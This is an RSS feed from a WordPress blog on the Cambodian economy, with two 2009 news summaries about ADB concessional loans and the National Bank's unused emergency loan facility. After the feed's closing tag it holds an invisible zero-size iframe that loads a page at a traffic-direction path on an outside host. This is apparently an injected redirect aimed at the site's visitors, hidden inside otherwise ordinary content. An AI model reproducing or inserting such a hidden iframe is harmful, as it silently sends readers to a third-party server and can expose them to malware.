<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Cambodian Economy Reviews &#187; grant loans</title>
	<atom:link href="http://khmerian.com/tag/grant-loans/feed/" rel="self" type="application/rss+xml" />
	<link>http://khmerian.com</link>
	<description></description>
	<lastBuildDate>Sat, 11 Feb 2012 16:22:52 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>USD 59.4 million in concessional loans granted by ADB</title>
		<link>http://khmerian.com/2009/06/usd-594-million-in-concessional-loans-granted-by-adb/</link>
		<comments>http://khmerian.com/2009/06/usd-594-million-in-concessional-loans-granted-by-adb/#comments</comments>
		<pubDate>Tue, 23 Jun 2009 01:17:15 +0000</pubDate>
		<dc:creator>Cambodia Economy</dc:creator>
				<category><![CDATA[Loan]]></category>
		<category><![CDATA[Asian Development Bank]]></category>
		<category><![CDATA[Cambodia economy]]></category>
		<category><![CDATA[concessional loans]]></category>
		<category><![CDATA[global financial crisis]]></category>
		<category><![CDATA[grant loans]]></category>

		<guid isPermaLink="false">http://khmerian.com/?p=602</guid>
		<description><![CDATA[<div style="display:inline;float:right;margin-left:1em"><g:plusone href="http://khmerian.com/2009/06/usd-594-million-in-concessional-loans-granted-by-adb/"></g:plusone></div>
In response to fight against the global financial crisis, the amount of $59.4 million in concessional loans has been granted to Cambodia by Asian Development Bank (ADB). The money has been made available through the bank&#8217;s Asian Development Fund (ADF), which received a $400 million boost Tuesday as part of a much broader $3.4 billion &#8230; <a href="http://khmerian.com/2009/06/usd-594-million-in-concessional-loans-granted-by-adb/">Continue reading</a>]]></description>
		<wfw:commentRss>http://khmerian.com/2009/06/usd-594-million-in-concessional-loans-granted-by-adb/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Central Bank Sees No Emergency Loan Requests</title>
		<link>http://khmerian.com/2009/06/central-bank-sees-no-emergency-loan-requests/</link>
		<comments>http://khmerian.com/2009/06/central-bank-sees-no-emergency-loan-requests/#comments</comments>
		<pubDate>Fri, 19 Jun 2009 08:47:27 +0000</pubDate>
		<dc:creator>Cambodia Economy</dc:creator>
				<category><![CDATA[Loan]]></category>
		<category><![CDATA[acleda bank]]></category>
		<category><![CDATA[ANZ bank]]></category>
		<category><![CDATA[ATM Cambodia]]></category>
		<category><![CDATA[ATM in cambodia]]></category>
		<category><![CDATA[ATMs in Cambodia]]></category>
		<category><![CDATA[bank Cambodia]]></category>
		<category><![CDATA[bank in Cambodia]]></category>
		<category><![CDATA[bank notes]]></category>
		<category><![CDATA[bank of Cambodia]]></category>
		<category><![CDATA[banking]]></category>
		<category><![CDATA[banking sectors]]></category>
		<category><![CDATA[Cambodia ATM]]></category>
		<category><![CDATA[cambodia bank]]></category>
		<category><![CDATA[Cambodia banking]]></category>
		<category><![CDATA[Cambodia microfinance]]></category>
		<category><![CDATA[Cambodia stock exchange]]></category>
		<category><![CDATA[Cambodia stock market]]></category>
		<category><![CDATA[Cambodian bank]]></category>
		<category><![CDATA[Cambodian banks]]></category>
		<category><![CDATA[cambodian commercial bank]]></category>
		<category><![CDATA[Cambodian currency]]></category>
		<category><![CDATA[Cambodian money]]></category>
		<category><![CDATA[cambodian national bank]]></category>
		<category><![CDATA[central bank]]></category>
		<category><![CDATA[Commercial banks]]></category>
		<category><![CDATA[commercial public bank]]></category>
		<category><![CDATA[credit card in cambodia]]></category>
		<category><![CDATA[credit card service]]></category>
		<category><![CDATA[Financial crisis]]></category>
		<category><![CDATA[grant loans]]></category>
		<category><![CDATA[khmer bank]]></category>
		<category><![CDATA[microfinance Cambodia]]></category>
		<category><![CDATA[microfinance in Cambodia]]></category>
		<category><![CDATA[microfinance loan]]></category>
		<category><![CDATA[money banking in cambodia]]></category>
		<category><![CDATA[money transfer via bank]]></category>
		<category><![CDATA[National Bank of Cambodia]]></category>

		<guid isPermaLink="false">http://khmerian.com/?p=582</guid>
		<description><![CDATA[<div style="display:inline;float:right;margin-left:1em"><g:plusone href="http://khmerian.com/2009/06/central-bank-sees-no-emergency-loan-requests/"></g:plusone></div>
Not a single lending institution in six months has taken the National Bank up on an offer of emergency loan assistance, officials said Friday. Emergency loans are available to banks facing liquidity constraints in the wake of the global financial crisis, but so far “none of the banks have applied for a loan,” according to &#8230; <a href="http://khmerian.com/2009/06/central-bank-sees-no-emergency-loan-requests/">Continue reading</a>]]></description>
		<wfw:commentRss>http://khmerian.com/2009/06/central-bank-sees-no-emergency-loan-requests/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Served from: khmerian.com @ 2012-02-12 00:21:57 -->
